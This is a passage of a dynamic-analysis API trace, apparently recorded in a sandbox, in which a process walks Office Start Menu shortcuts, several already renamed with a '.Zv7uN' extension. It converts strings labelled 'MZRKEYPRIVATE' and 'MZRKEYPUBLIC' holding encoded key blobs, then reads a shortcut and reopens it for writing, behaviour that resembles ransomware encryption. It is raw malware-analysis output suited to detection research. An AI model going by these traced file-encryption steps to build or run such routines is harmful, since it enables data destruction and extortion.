2010.lnk.Zv7uN", cAlternateFileName="MICROS~1.ZV7")) returned 1 [0133.997] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.997] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.997] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63e24f20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb87, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Excel 2010.lnk.Zv7uN", cAlternateFileName="MICROS~2.ZV7")) returned 1 [0133.997] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.997] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.997] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbe2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft InfoPath Designer 2010.lnk.Zv7uN", cAlternateFileName="MICROS~3.ZV7")) returned 1 [0133.997] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.997] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.997] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63f55a20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft InfoPath Filler 2010.lnk.Zv7uN", cAlternateFileName="MICROS~4.ZV7")) returned 1 [0133.998] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.998] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.998] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office 2010 Tools", cAlternateFileName="MICROS~1")) returned 1 [0133.998] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.998] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.998] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0134.000] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0134.000] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xba1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Digital Certificate for VBA Projects.lnk", cAlternateFileName="DIGITA~1.LNK")) returned 1 [0134.000] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0134.001] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.001] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xba1)) returned 1 [0134.003] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk")) returned 0x20 [0134.003] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk", dwFileAttributes=0x80) returned 1 [0134.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0134.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f2b18c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0134.006] GetCurrentThreadId () returned 0xa30 [0134.006] GetCurrentThreadId () returned 0xa30 [0134.006] GetCurrentThreadId () returned 0xa30 [0134.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0134.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3c1ec, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0134.007] GetCurrentThreadId () returned 0xa30 [0134.007] GetCurrentThreadId () returned 0xa30 [0134.007] GetCurrentThreadId () returned 0xa30 [0134.007] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.007] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0134.007] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.008] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xba1 [0134.008] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.008] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f43ff0, nNumberOfBytesToRead=0xba1, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f43ff0*, lpNumberOfBytesRead=0x18f108*=0xba1, lpOverlapped=0x0) returned 1 [0134.011] CloseHandle (hObject=0x1dc) returned 1 [0134.012] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 